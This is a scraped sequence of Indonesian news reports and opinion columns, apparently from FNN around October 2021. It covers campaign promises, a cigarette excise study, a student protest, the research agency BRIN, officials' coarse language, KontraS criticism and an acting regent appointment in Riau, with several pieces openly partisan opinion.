"syarat minimal" yang mudah diukur dan harus ditunaikan oleh seorang pemimpin. Setiap calon pemimpin pasti punya janji politik. Apakah itu presiden atau kepala daerah. Saat kampanye, mereka sampaikan janji politik itu. Dari sini, rakyat melihat kualitas calon pemimpin tersebut. Sayangnya, ketika pemimpin itu terpilih, janji politik seringkali terabaikan dan kemudian terlupakan. Yang janji lupa, rakyat juga tak ingat. Yang teringat adalah sisa-sisa pencitraan. Tenggelam oleh eforia kampanye yang penuh hura-hura. Bagaimana kita mampu melahirkan pemimpin berkualitas jika visi dan misinya gak jelas. Jika janji politik tidak jelas, maka visi dan misi pun tidak juga akan jelas. Lihat Soekarno dan Soeharto. Jelas visi dan misinya. Mau dibawa kemana bangsa ini, jelas! Era Soekarno ada pancasila yang menjadi pondasi bangsa dan negara. Karakter dan identitas bangsa jelas. Apa yang akan diraih juga jelas yaitu keadilan sosial bagi seluruh rakyat Indonesia. Soekarno berhasil meletakkan pondasi yang cukup kuat untuk bangsa ini melalui falsafah pancasila dan UUD 1945. Era Soeharto, ada P4. Arahnya jelas yaitu pembangunan bertahap dan berkelanjutan. Ada perencanaan dan pencapaian. Sangat terukur. Seorang pemimpin mesti jelas visi dan misinya. Mesti jelas apa yang mau dicapai. Rakyat harus dipahamkan terhadap visi dan misi itu, dilibatkan dan ikut melakukan pengawasan. Anies Baswedan, Gubernur DKI layak dijadikan contoh. Visinya jelas: maju kotanya bahagia warganya. Inilah yang ingin dicapai. Visi ini akan dicapai melalui 23 Janji politiknya. Janji Anies ada angkanya dan ada detailnya. Terhadap 23 Janji itu rakyat selalu ingat dan dapat mengukur tingkat keberhasilannya. Apa yang dilakukan Anies baik untuk didorong menjadi trend di setiap suksesi kepemimpinan. Siapapun yang akan mencalonkan jadi pemimpin mesti jelas apa saja yang akan dikerjakan. Apa program yang dijanjikannya. Harus jelas angkanya, jelas pula detail programnya. Kenapa? Pertama, supaya rakyat ingat dan mudah mengukurnya. Kedua, agar pemimpin bertanggung jawab untuk menunaikan janji-janji itu. Ada baiknya ini dimulai dari para gubernur dan kepala daerah yang sekarang menjabat. Ada berapa janji Ganjar Prabowo misalnya. Dan apa saja detailnya. Berapa yang sudah ditunaikan, dan apa saja yang belum ditunaikan. Ini juga berlaku untuk Ridwan Kamil (Gubernur Jawa Barat), Khofifah Indarparawansa (Gubernur Jawa Timur), dan juga kepala-kepala daerah lain. Ingatkan rakyat atas janji politikmu saat kampanye, dan tunjukkan apa saja yang sudah ditunaikan saat ini. Jadikan dirimu pemimpin yang bertanggung jawab atas janji-janji itu. Supaya rakyat bisa secara obyektif menilai dan mengukurmu. Kita berharap, semua rakyat di daerah manapun berada, harus secara terus menerus mengingatkan janji-janji politik para pemimpinnya, dan meminta mereka menunaikan. Raport hijau atau merah, setidaknya dimulai penilaiannya dari janji itu. Diingat, atau dilupakan. Ditunaikan, atau diabaikan. Pertanyaan sederhana: apakah kalian (rakyat) ingat janji politik pemimpin daerah kalian? Kalau tidak, minta pemimpin kalian mengingatkannya kembali. Kalau pemimpin kalian juga tak ingat, maka ia bukan pemimpin yang berintegritas dan berkapasitas. Jangan berikan lagi ia kesempatan kedua kali, apalagi naik posisi. Kalian harus berani tegas menghukum para pemimpin yang tak bertanggungjawab atas janjinya. Nasib bangsa ini ada di tangan para pemimpin. Kalau anda tidak serius memilih pemimpin, maka pemimpin itu juga tidak akan pernah serius mengurus anda. Bagaimana Anda serius memilih pemimpin, janji pemimpin saja Anda tidak tahu! *) Pengamat Politik dan Pemerhati Bangsa

CISDI: Kenaikan Cukai Rokok Tambah Penerimaan Negara Rp7,92 Triliun

Jakarta, FNN - Penasihat Riset Center for Indonesia’s Strategic Development Initiatives (CISDI) Teguh Dartanto mengatakan bahwa kenaikan cukai rokok sampai 45 persen dapat menambah penerimaan negara hingga Rp7,92 triliun. "Kenaikan cukai rokok sampai 45 persen akan meningkatkan pendapatan negara Rp7,92 triliun, meningkatkan output sebesar Rp26,2 triliun, dan menciptakan lapangan kerja baru setara 149 ribu lapangan kerja,” kata Teguh yang juga Ketua Klaster Penelitian Ekonomi Pembangunan FEB UI dalam diseminasi hasil penelitian secara daring di Jakarta, Kamis. Ia mengatakan bahwa kenaikan Cukai Hasil Tembakau (CHT) sampai 46 persen tidak akan membuat penerimaan negara menurun meskipun konsumsi rokok legal berpotensi terkoreksi. "Tapi kalau CHT naik lebih tinggi dari 46 persen, penerimaan negara dapat turun karena penurunan konsumsi jauh lebih besar,” terang Teguh. Karena itu, dengan kenaikan CHT sampai maksimal 46 persen, pemerintah dapat melakukan belanja dengan lebih optimal. Selain tidak menurunkan penerimaan negara, kenaikan CHT juga tidak berdampak negatif terhadap perekonomian nasional. Pasalnya, meskipun konsumsi rokok legal berpotensi menurun, perokok bisa mengalokasikan uangnya untuk mengonsumsi produk lain. "Efek totalnya kalau kita naikkan cukai rokok 30 persen sebenarnya tidak ada masalah luar biasa terkait output dalam perekonomian. Kalau 45 persen juga ternyata tidak memengaruhi omzet atau output perekonomian,” imbuh Teguh. "Teguh juga mengatakan bahwa kenaikan CHT tidak banyak berpengaruh terhadap omzet pelaku industri rokok sebagaimana kenaikan CHT pada 2020 lalu sebesar rata-rata 23 persen. "Kita lihat di tahun 2020 kenaikannya tidak banyak memengaruhi omzet dari industri rokok,” ucapnya. (ant, sws)

Mahasiswa Gelar Aksi Demo, Ajukan 12 Tuntutan Kepada Jokowi

Jakarta, (FNN) - Mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se-Indonesia menggelar aksi demonstrasi. Mereka berencana mengepung Istana Kepresidenan, igin menyampaikan aspirasi kepada Presiden Joko Widodo (Jokowi) yang ternyata telah "kabur" ke Kalimantan. Aksi demo yang dilakukan para mahasiswa itu, terpusat di sekitar Patung Kuda, di dekat Taman Monumen Nasional (Monas), Jakarta Pusat. Hujan yang turun di kawasan tersebut tidak mengurungkan niat mereka melakukan aksi. Sedikitnya 12 tuntutan ingi mereka sampaikan kepada Jokowi dalam aksi yang berlangsung, Kamis, 21 Oktober 2021. Aksi para mahasiswa tersebut pun akhirnya menutup jalan di kawasan Patung Kuda, Jalan Merdeka Barat. Para pemimkin aksi silih berganti menyampaikan orasi dari sebuah mobil komando yang disiapkan, lengkap dengan pengeras suaranya. "Ayo teman-teman kita tutup jalan. Pak polisi, kami terpaksa menutup jalan karena bapak-bapak menahan kami. Tujuan kami di sana (Istana)," kata salah satu mahasiswa dari Universitas Indraprasta PGRI di Kawasan Patung Kuda Monas, Jakarta Pusat, Kamis. Aksi itu dilakukan mahasiswa karena polisi menahan massa bergerak dari Jalan Medan Merdeka Selatan menuju Istana Negara yang menggelar aksi terkait tujuh tahun kepemimpinan Presiden Joko Widodo. Aparat kepolisian sengaja menahan pergerakan ratusan mahasiswa yang ingin bergabung dengan teman-temannya dari BEM SI yang sudah lebih dahulu berkumpul di kawasan Patung Kuda itu. Arus lalu lintas pun sempat tersendat di Jalan Merdeka Barat arah Istana Negara menuju Bundaran HI, serta arah Jalan Abdul Muis menuju Jalan Medan Merdeka Selatan. Aksi debat antara mahasiswa dan aparat kepolisian pun terjadi. Polisi juga sempat mencabut kunci mobil yang digunakan mahasiswa sebagai tempat berorasi. Aksi turun ke jalan bertepatan dengan tujuh tahun Jokowi jadi presiden atau dua tahun untuk periode kedua. Ia dan Ma'ruf Amin dilantik menjadi Presiden dan Wakil Presiden pada 20 Oktober 2021. "Bertepatan dengan 20 Oktober 2021, tujuh tahun sudah Jokowi memimpin pemerintahan negeri ini. Namun, banyak janji-janji kampanye yang harus dipenuhi," kata Koordinator Pusat Aliansi BEM SI Kaharuddin di kawasan silang Monas, Jakarta Pusat, Kamis. Kaharuddin menyampaikan ada 12 tuntutan yang disampaikan. Antara lain mendesak pemerintah supaya menerbitkan Peraturan Pemerintah pengganti untuk membatalkan Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja. Mahasiswa juga menuntut diberhentikannya Firli Bahuri sebagai Ketua KPK dan mengembalikan marwah lembaga tersebut dalam agenda pemberantasan korupsi. (MD).

Politik Riset

By M Rizal Fadillah POLITIK hukum adalah kebijakan politik tentang hukum, politik ekonomi merupakan kebijakan politik mengenai ekonomi baik arah, bentuk, atau sistem yang dianut. Politik budaya adalah kemauan politik mengenai budaya bangsa. Nah politik riset tidak lain bagaimana kebijakan kenegaraan mengenai riset baik kedudukan, fungsi, maupun sistem kelembagaannya. Diarahkan ke mana perisetan Nasional. Badan Riset dan Inovasi Nasional (BRIN) adalah politik riset. Ternyata bukan saja Omnibus Law yang main disatu-satukan itu, lembaga riset pun disatukan di bawah satu komando. BATAN,LAPAN, LIPI, BPPT dilebur dalam BRIN. Lucunya lembaga riset ini memiliki Dewan Pengarah dan lebih lucu lagi Ketua Dewan Pengarahnya adalah Ketum PDIP. Parahnya, Ketua Dewan Pengarah memiliki kekuasaan yang sangat besar. Ketum PDIP adalah Puteri Presiden Soekarno, penguasa Orde Lama yang dikenal diktator dan menjalankan model demokrasi terpimpin. Nasakom adalah politiknya. Menjepit agama dengan memanjakan komunis. Sayang akhir kekuasaannya tragis jatuh karena dikaitkan dengan pemberontakan PKI. Presiden seumur hidup tidak mampu bertahan dan hanya mampu menjabat hingga 1966. 21 tahun. Soekarno menggagas badan riset MIPI (Majelis Ilmu Pengetahuan Indonesia) sebagai cikal bakal LIPI. Soekarno ingin lembaga riset yang besar semacam Academy of Science Uni Sovyet, Negara Eropa Timur, dan Tiongkok. Kiblat ke negara sosialis karena lembaga risetnya di bawah Negara, bukan swasta seperti di Amerika dan Negara Barat. Presiden memimpin langsung lembaga riset. Mungkin lembaga riset berguna untuk pengembangan ideologi sosialis dan komunis saat itu. Menurut Sekjen PDIP Hasto Kristanto, Ketua Umum PDIP Megawati Soekarnoputri meminta kepada Jokowi pada saat Pilpres 2019 untuk membentuk BRIN. "BRIN memang perlu di bawah Presiden langsung" katanya. Menariknya Megawati itu menjadi Ketua Dewan Pengarah BRIN sekaligus Ketua Dewan Pengarah BPIP. Sekretaris Dewan Pengarah BRIN adakah Shudamek Agoeng Waspodo, Chairman Garudafood. Boss kacang ini juga adalah anggota Dewan Pengarah BPIP. Inilah akar dari politik riset dalam pembentukan BRIN. Politik ikut bahkan menentukan dalam mengarahkan riset-riset. Adakah Academy of Science dari negara sosialis menjadi rujukan BRIN? Dikaitkan dengan agenda PPHN yang juga digagas PDIP maka lengkaplah arah politik riset ini ke depan. Ideologisasi yang menjadi ranah politik telah dilekatkan dengan lembaga riset nasional. Persoalan yang muncul adalah keraguan publik bahwa ideologi Pancasila yang dicira-citakan Megawati Soekarnoputeri adalah Pancasila 18 Agustus 1945 atau Pancasila 1 Juni 1945 ? Jika yang dimaksud adalah yang terakhir maka BRIN menjadi lembaga riset yang berbahaya. Menjadi sarana ideologisasi yang bertentangan dengan Pancasila dan UUD 1945 yang orisinal. Politik riset tidak mengarah pada otonomi ilmiah tetapi sarat ideologi. Cara seperti ini diterapkan oleh negara-negara sosialis atau komunis. Jokowi dan Megawati harus menjelaskan dulu hal ini kepada Rakyat Indonesia. Jangan sampai terjadi penelikungan ideologi melalui lembaga riset. *) Pemerhati Politik dan Kebangsaan

Aku Banteng, Kamu Celeng, Mereka Pancasila, Apa Iya?

UNGKAPAN paling kasar ketika seseorang marah adalah celeng. Tingkatan di bawahnya adalah genjik (anak celeng), di bawahnya adalah anjing, di bawahnya lagi kirik (anak anjing). Ungkapan kasar yang diperhalus adalah anjrit, kamuflase dari kata anjing. Diksi kemarahan paling “sopan” adalah bangsat. Kata-kata kasar ini biasanya disemprotkan untuk merendahkan dan menghina musuh atau teman yang sedang bertikai. Celeng menjadi kata yang cukup populer beberapa hari ini. Jika kita lakukan survei sederhana di google, kata “PDIP Celeng” ditemukan 1.880.000 kata, “Ganjar Celeng” menghasilkan 2.770.000 kata, dan “Pendukung Ganjar Celeng” ada 138.000 kata. Umpatan celeng membanjiri pemberitaan dan menjadi populer setelah Bambang Wuryanto alias Bambang Pacul, Ketua DPD PDIP Jawa Tengah murka terhadap Ganjar Pranowo, Gubernur Jawa Tengah yang secara masif blusukan ke berbagai daerah, bahkan sampai Papua. Kader banteng itu diduga membawa misi tersembunyi, yakni menarik simpati untuk pencapresan 2024. Sepak terjang Ganjar membuat PDIP blingsatan. Maklum PDIP sedang getol menyiapkan kader biologisnya, Puan Maharani untuk menjadi presiden atau wakil presiden. Bambang makin tersulut pasca Albertus Sumbogo, Ketua DPC Seknas Ganjar Indonesia (SGI) Kabupaten Purworejo, Jawa Tengah mendeklarasikan diri siap mendukung Ganjar Pranowo maju Pilpres 2024. Bambang menyebut kader PDIP yang tidak satu barisan dengan petuah Megawati, dicap sebagai celeng. Mereka tidak dianggap keluarga banteng, tetapi celeng. Anehnya yang diceleng-celengkan tidak marah. Padahal celeng adalah hardikan paling kasar dan hina bagi orang Indonesia. Perangai kasar tampaknya menjadi hal biasa bagi keluarga Banteng maupun Celeng. Lihat saja, sebelum ini kekerasan dipertontonkan oleh Menteri Sosial Tri Rismaharini yang juga kader Banteng. Risma yang seharusnya tampil lembut dan anggun justru lebih senang mirip Gatutkaca edan. Bertolak pinggang dan menunjuk-nunjuk orang. Risma yang setiap katanya seharusnya merdu justru yang keluar suara parau dan berisik. Ini terjadi di dalam sebuah pertemuan di Kabupaten Gorontalo. Adalah pendamping PKH bernama Fajar Sidik Napu yang ketiban sial. Ia dimarahi Mensos dan ditunjuk-tunjuk oleh kader Banteng yang sedang emosi. Risma berjalan ke arah Fajar sambil berteriak, “Tak tembak kamu, tak tembak kamu,” ujar Mensos murka. Selang beberapa hari, di Lombok Timur, NTB, Menteri Risma juga ngamuk lagi. Kali ini terkait dugaan oknum kepala desa di Lombok Timur yang menjadi pemasok komoditas bantuan sosial. Risma berdebat keras dengan pendemo yang protes kenapa kepala desa bisa menjadi pemasok barang bansos (bantuan sosial). Dalam debat tersebut, Risma seperti biasanya bicara dengan keras dan lantang. “Kamu jangan fitnah aku ya! Sebentar dengerin!!!. Saya tidak akan ke sini kalau nggak ada niat baik selesaikan masalah, ngapain saya ke sini. Kedua, saya tidak tahu suplier atau tidak, saya ini menteri tidak urusi hal ini,” kata Risma ngamuk dengan kencang. Kekerasan ternyata tidak hanya merasuki banteng dan celeng. Akan tetapi, juga menular kepada aparat polisi. Sejatinya, mereka penegak hukum, bukan pelanggar hukum, apalagi membanting hukum. Masih segar diingatan rakyat, di bulan Oktober 2021, kekerasan beruntun dilakukan oleh anggota polisi. Kami tidak menyebut oknum, karena tidak ada tulisan kata itu di bajunya, maupun pada atribut lainnya. Polisi membanting mahasiswa hingga pingsan dan dibawa ke rumah sakit, dirawat dua hari dua malam, saat berdemo di Tigaraksa, depan Kantor Bupati Tangerang. Hampir bersamaan waktunya, kekerasan juga terjadi di Deli Serdang, Medan, Sumatera Utara. Dalam video yang viral di medsos, menunjukkan seorang pria dipukuli oleh anggota polisi lalu lintas hingga terkapar di jalan. Tampak, pria yang memakai jaket hitam tersebut tiba-tiba dipukuli oleh polisi. Wajah pria tersebut berulang kali ditampar. Pria tersebut tidak bisa melawan dan langsung terkapar di jalan. Kekerasan yang terjadi pada banteng dan celeng, ternyata juga merasuki aparat birokrat dan politisi. Gubernur Maluku, Murad Ismail misalnya, juga mengeluarkan kata-kata kasar saat menanggapi aksi demo tolak PPKM yang sering terjadi di Kota Ambon. “Jangan terpengaruh oleh itu apa, kaskadu kaskadu (kurap) itu yang cuma berapa ekor, tapi selalu buat…, sekali-sekali masyarakat Maluku kompak, kumpul la pukul mereka sampai tai keluar dari pantat,” kata Murad dalam sambutannya di Paroki Katholik Maria Bintang Laut, Ambon. Tidak hanya itu, seorang PNS di Lampung Selatan juga berkata kasar dengan mengucapkan kata-kata “Anjing Kau” serta kerap menggoblok-gobloki pegawai yang lain. Tabiat kasar juga dipertontonkan wakil rakyat. Beberapa tahun yang lalu anggota DPR Bambang Soesatyo yang kini menjadi Ketua MPR juga mengumbar kata 'lonte politik' untuk menyerang politikus Golkar pro Aburizal Bakrie yang pindah ke kubu Agung yakni Mahyudin, Airlangga Hartarto dan Erwin Aksa. Yang paling fenomenal adalah pernyataan Gubernur DKI ketika itu Basuki Tjahaja Purnama yang mengumpat dengan menggunakan 'bahasa toilet' saat wawancara live di TV. Dalam beberapa hari ini, rakyat Indonesia dipaksa mengonsumsi, kata-kata, perilaku, dan sikap kasar dari pejabat publik. Rasanya kita bukan hidup di negeri yang berketuhanan dan beradab. Kita mirip hidup di sebuah rimba yang tanpa aturan. Apakah sudah tidak ada lagi kelembutan tutur kata dari para pejabat? Misi apa sebenarnya yang ingin ditunjukkan oleh para pejabat itu? Apakah mereka stres. Rakyat jauh lebih stres menyaksikan ulah rezim hari demi hari yang tidak menghiraukan kesengsaraan dan penderitaan yang mereka alami. Perilaku dan kata-kata kasar di era medsos tidak mungkin bisa disaring. Ia masuk ke gadget anak-anak, di sekolah, di rumah, di kamar tidur, dan di mana saja berada. Komisi Perlindungan Anak Indonesia (KPAI) mewanti-wanti para orangtua supaya tidak terbiasa berkata kasar pada anak. Sebab, sekali membentak akan berakibat fatal terhadap perkembangan otak anak. Sekali saja anak usia dini dibentak, maka triliunan sel otaknya rusak. Anomali percelengan dan akrobat politik partai berlogo binatang itu, setidaknya telah memberikan pelajaran berharga bagi masyarakat Indonesia. Mereka tidak sadar, apa yang mereka lakukan sesungguhnya menunjukkan wajah asli dari mereka sendiri yang bengis, kasar, brutal, radikal, dan menang sendiri. Kita sebagai manusia beradab, sungguh prihatin dengan sepak terjang mereka. Ada berapa juta anak-anak yang menyaksikan polah kasar mereka. Kejadian ini mengingatkan kita betapa kekerasan semakin dekat dengan mata dan telinga kita. Kekerasan fisik, psikis, maupun verbal. Elite politik dan pendukungnya, diminta jangan mempertontonkan perilaku politik murahan, merendahkan harkat kemanusiaan, dan memberikan teladan buruk kepada anak-anak. Bagaimana berikrar “Aku Pancasila”, jika setiap kata yang keluar dari lambenya adalah kata-kata kasar, kekerasan, dan penghinaan. Jauh dari adat dan adab. (*)

KontraS Khawatir Pejabat Publik Cenderung Somasi Warga yang Mengkritik

Jakarta, FNN - Komisi Untuk Orang Hilang dan Korban Tindak Kekerasan (KontraS) khawatir somasi terhadap warga yang mengajukan kritik menjadi opsi yang cenderung dipilih para pejabat pada masa Pemerintahan Presiden Joko Widodo dan Wakil Presiden Ma’ruf Amin. Alasannya sepanjang 2021, KontraS melihat ada semacam pola sejumlah pejabat melayangkan somasi dan mengajukan laporan kepada kepolisian terhadap warga yang mengkritik kebijakan publik. “Kami mencatat, dalam beberapa bulan terakhir saja, setidaknya terdapat dua somasi yang dilayangkan oleh pejabat publik,” kata Wakil Koordinator KontraS Rivanlee Anandar saat jumpa pers peluncuran Catatan 2 Tahun Pemerintahan Joko Widodo dan Ma’ruf Amin di Jakarta, Selasa. Ia menerangkan somasi pertama dilayangkan Kepala Staf Kepresidenan (KSP) Jenderal TNI (Purn) Moeldoko terhadap peneliti Indonesia Corruption Watch (ICW), yaitu Egi Primayogha dan Miftah. Kemudian, somasi kedua dilayangkan Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Panjaitan terhadap Pendiri Lokataru Haris Azhar dan Koordinator KontraS Fatia Maulidiyanti. “Meskipun berbeda, kedua kasus ini memiliki pola yang kurang lebih sama. Keduanya sama- sama dilayangkan pejabat publik yang dekat dengan Presiden, isunya berkaitan dengan ekonomi politik, dan keduanya berujung pada pemolisian dengan gugatan yang diajukan seputar pencemaran nama baik, penghinaan, dan berita bohong,” terang KontraS pada laporan tertulisnya. Terkait itu, KontraS menegaskan bahwa kritik yang disampaikan masyarakat merupakan bagian dari kontrol publik terhadap penyelenggara negara. “Pejabat publik semestinya paham bahwa mereka terikat dengan etika dan kewajiban hukum, yang salah satunya adalah dapat dikritik. Justru, resistensi terhadap kritik mencerminkan wajah pemerintahan yang otoriter, antikritik, dan tidak demokratis,” kata Rivanlee. Oleh karena itu, KontraS berharap para pejabat pada Pemerintahan Presiden Joko Widodo dan Wapres Ma’ruf Amin ke depannya dapat mengedepankan dialog dan sikap yang terbuka terhadap kritik serta masukan dari publik. Harapan itu sejalan dengan instruksi Presiden Joko Widodo yang meminta publik untuk lebih aktif mengkritisi kinerja pemerintah. KontraS meluncurkan laporan tertulis berisi Evaluasi 2 Tahun Pemerintahan Presiden Joko Widodo dan Presiden Ma’ruf Amin di Jakarta, Selasa. Dalam laporan itu, KontraS menyoroti kinerja pemerintah dalam menegakkan nilai-nilai demokrasi dan HAM. (ant, sws)

Ketua MUI: Maknai Maulid Nabi untuk Menjaga "Ukhuwah Wathaniyah"

Jakarta, FNN - Ketua Majelis Ulama Indonesia (MUI) Yusnar Yusuf Rangkuti menuturkan Maulid Nabi dapat dimaknai menjaga ukhuwah wathaniyah (persaudaraan kebangsaan) untuk menjadikan negeri yang aman, damai sebagaimana nabi menjadikan Madinah sebagai negeri madani. “Sebagaimana Nabi Muhammad masuk ke Madinah, maka Madinah itu menjadi tanah yang madani, aman, damai, dan sebagainya sampai dengan hari ini. Inilah yang mau dicontoh Indonesia. Dengan masuknya Islam di Indonesia maka akan menumbuhkan kedamaian, kebaikan dan penuh toleransi,” kata Ketua Bidang Kerukunan Antar-Umat Beragama ​​​​​​​MUI Yusnar Rangkuti di Jakarta, Rabu, dalam keterangan tertulis. Pria yang menjabat sebagai Ketua Dewan Pertimbangan Pengurus Besar (PB) Al Washliyah ini melanjutkan, adanya perbedaan suku dan agama di Indonesia menambah dinamika perkembangan Islam. Sehingga masyarakat memahami dan menjadi tahu bahwasanya agama-agama lain yang ada di Indonesia juga mengajarkan cinta terhadap perdamaian sehingga semua agama mampu berjalan berdampingan. “Karena Islam menjadi mayoritas di Indonesia tidak serta merta menjadikan aspek sosiologi-antropologinya mengikuti agama yang kita anut (Islam). Tetapi sebagai mayoritas maka sudah selayaknya kita menaungi dan merangkul saudara-saudara kita sebagai simbol perdamaian antar umat beragama,” ujar Kiai Yusnar​​​​​​​. Dalam tiga konsep ukhuwah yang salah satunya yaitu ukhuwah wathaniyah (persaudaraan kebangsaan) menjadi hal yang harus didahulukan. Pada konsep ukhuwah wathaniyah ini seseorang atau sekelompok masyarakat merasa bersaudara dan membina hubungan baik karena merupakan bagian dari satu bangsa yaitu bangsa Indonesia. “Harus kita tumbuhkan terus wathaniyah (kebangsaan) kita antara kita dengan bangsa yang lain, dengan agama yang lain juga. Kita tunjukkan bahwa Islam itulah yang menjadi pahlawan, Islam di Indonesia ini bisa menjadi motor penggerak apa saja,” ucap pria yang juga merupakan anggota Gugus Tugas Pemuka Lintas Agama BNPT RI itu. Lebih lanjut dirinya mengatakan, sejatinya banyak cara yang bisa dilakukan untuk menjaga ukhuwah wathaniyah. Misalnya dengan memberikan bantuan-bantuan sosial, terlebih ketika pandemi covid-19 ini, yang sejatinya masyarakat golongan mampu harus peka untuk menolong orang-orang di sekitarnya tanpa mempedulikan perbedaan suku dan agama. “Jangan lagi kita pikirkan ‘ini pemerintah belum memberi’, jangan kita pikirkan itu. Kita jalan saja. Pemerintah mau mendukung ya silahkan. Kalau belum bisa ya apa boleh buat. Sebagai umat Islam, kita akan tetap jalan untuk kebaikan,” ungkap pria yang juga pernah menjadi Ketua Umum PB Al Washliyah itu. Ia juga memandang pentingnya peran para tokoh agama, tokoh masyarakat dan ormas-ormas dalam menjaga ukhuwah wathaniyah dengan terus mengajarkan kepada umat atau kepada pengikutnya bahwa agama yang dianutnya adalah agama yang benar, menyayangi semua umat dan menyayangi semua manusia yang hidup di atas bumi Allah ini. “Maka pertama kali yang harus kita lakukan semua tokoh agama harus sayang kepada rakyat Indonesia, kepada umatnya dan mengajarkan untuk menyayangi. Sayangilah ini, sayangilah orang lain, karena itu adalah puncak semuanya untuk menjadi wathaniyah kita ini terjaga dengan baik,” ujar Wakil Ketua Lembaga Persahabatan Ormas Islam (LPOI) ini Terkait peran dari pemerintah dalam menjaga ukhuwah wathaniyah yang ada di masyarakat, Yusnar beranggapan bahwa pemerintah harus bisa mendengar apa yang menajdi keluhan rakyatnya. Menurutnya saat ini pemerintah sudah melakukan hal itu dengan baik, karena ia sendiri melihat dengan nyata perhatian pemerintah kepada rakyatnya dengan mengundang alim ulama untuk memberikan pandangan terkait perkembangan dan dinamika yang terjadi di masyarakat. “Belum ada sebulan ini saya diundang Wantannas (Dewan Ketahanan Nasional) untuk memberikan masukan. Kita harus memberikan masukan yang benar-benar untuk kepentingan rakyat dan untuk kepentingan masyarakat. Artinya pemerintah sudah melakukan itu untuk menjaga ukhuwah wathaniyah ini yang ada di masyarakat,” ujar pria yang juga menjabat sebagai Wakil Ketua Lembaga Persahabatan Ormas Keagamaan (LPOK) tersebut. (mth)

Wakil Ketua DPR: Santri Harus Jadi Penopang Kekuatan Ekonomi Baru

Jakarta, FNN - Wakil Ketua DPR RI Bidang Korkesra Abdul Muhaimin Iskandar (Gus Muhaimin) mengharapkan santri harus menjadi penopang ekonomi baru di Indonesia. Gus Muhaimin dalam keterangannya di Jakarta, Rabu, mengharapkan santri dan pesantren dapat menjadi kekuatan besar bagi negara, sumber inspirasi, dan sekaligus salah satu sumber kehidupan bagi bangsa Indonesia. “Kenapa? karena sekarang ini semua rontok. Peran santri sangat dibutuhkan saat ini,” kata dia. Gus Muhaimin meminta santri harus melek teknologi. Dia mencontohkan Habib Umar Muthahar dan KH Yusuf Chudlory mampu menjadikan teknologi sebagai media dakwah sehingga mampu menembus banyak kalangan secara lebih luas. “Teknologi ini penting, kenapa? pola hidup masyarakat telah berubah, cara kerja berubah, hubungan produsen dengan konsumen berubah,” kata Gus Muhaimin. Ia mendorong santri agar tidak lengah menjadi bagian bangsa Indonesia untuk menjaga kesucian hati dan akhlak, berpegang teguh pada akidah, nilai, ajaran Islam rahmatan lil alamin, dan tradisi luhur bangsa Indonesia. Gus Muhaimin menyampaikan ini saat menghadiri peringatan Hari Santri Nasional (HSN) 2021 di kediaman Pengasuh Ponpes Al Madina Gunungpati Semarang, Jawa Tengah, Habib Umar Muthahar, Rabu (20/10). Menurut Gus Muhaimin, tidak semua santri merupakan sosok yang mondok di pesantren dalam waktu tertentu. Label santri bisa saja disematkan kepada siapa pun selama dia mencintai ulama, kiai, dan mau menjalankan tradisi "ahlussunnah wal jamaah". “Pokoknya yang cinta ulama, cinta kiai, melaksanakan ajaran aswaja minimal mauludan, insyaallah bisa kita sebut santri. Apalagi kalau bulan maulid, mauludannya 10 kali, nah itu lebih santri lagi,” kata Gus Muhaimin sambil berkelakar. Dia mengajak kaum santri terus tumbuh menjadi generasi membanggakan untuk Indonesia. Tubuh, tenaga, dan buah karya para santri diabdikan khusus untuk Indonesia. “Semakin maju santri Indonesia, maka semakin maju bangsa Indonesia. Semakin maju ahlussunnah wal jamaah, maka insyaallah Indonesia akan semakin maju di masa akan datang,” kata Gus Muhaimin. Acara tersebut turut dihadiri sejumlah tokoh, antara lain Habib Umar Muthahar, Rois Syuriyah PWNU Jateng KH Ubaidillah Shodaqoh, Ketua PWNU Jateng KH Muzammil, sejumlah kiai, dan habib di wilayah Semarang. Turut hadir, Menteri Desa, Pembangunan Daerah Tertinggal, dan Transmigrasi Abdul Halim Iskandar, Wakil Ketua MPR RI Jazilul Fawaid, Ketua Fraksi PKB DPR RI Cucun Syamsurijal, dan Pengasuh Ponpes API Tegalrejo Jateng KH Yusuf Chudlory beserta jajaran. (mth)

Gubernur Riau Tunjuk Suhardiman Amby sebagai Plt Bupati Kuansing

Kota Pekanbaru, FNN - Gubernur Riau Syamsuar menunjuk Wakil Bupati Kuansing Suhardiman Amby sebagai pelaksana tugas (Plt) Bupati Kuantan Singingi (Kuansing) pasca ditetapkan Bupati Andi Putra sebagai tersangka oleh KPK. Penunjukan Plt Bupati Kuansing berdasarkan Surat Gubernur Riau Nomor: 130/PEM-OTDA/2779 perihal Pelaksana Tugas dan Wewenang Kepala Daerah oleh Wakil Kepala Daerah. "Pak Gubernur Riau sudah mengirim surat penunjukan Plt Bupati Kuansing, sehubungan dengan ditetapkannya status tersangka terhadap Bupati Kuansing oleh KPK," kata Kepala Biro Pemerintahan dan Otonomi Daerah Setdaprov Riau Muhammad Firdaus di Pekanbaru, Rabu. Firdaus menjelaskan, Gubernur menunjuk Wakil Bupati Kuansing sebagai Plt Bupati Kuansing guna kelancaran penyelenggara pemerintahan di Kabupaten Kuansing, maka Wakil Bupati melaksanakan tugas sehari-hari Bupati Kuansing sesuai peraturan dan perundang-undangan yang berlaku. "Penunjukan Plt Bupati Kuansing itu juga diatur dalam undang-undang. Apabila kepala daerah berhalangan, maka wakil kepala daerah melaksanakan tugas dan kewenangan kepala daerah," katanya. Sebelumnya, Komisi Pemberantasan Korupsi (KPK) menetapkan Bupati Kuantan Singingi (Kuansing), Andi Putra sebagai tersangka, Selasa (19/10/2021). Andi Putra ditetapkan tersangka kasus dugaan suap perpanjangan izin Hak Guna Usaha (HGU) kebun sawit di Kabupaten Kuansing. Selain Andi, KPK juga menetapkan tersangka lain dari pihak swasta (perusahaan), General Manager (GM) PT Adimulia Agrolestari, Sudarso. (mth)

Adakah Celeng Itu?

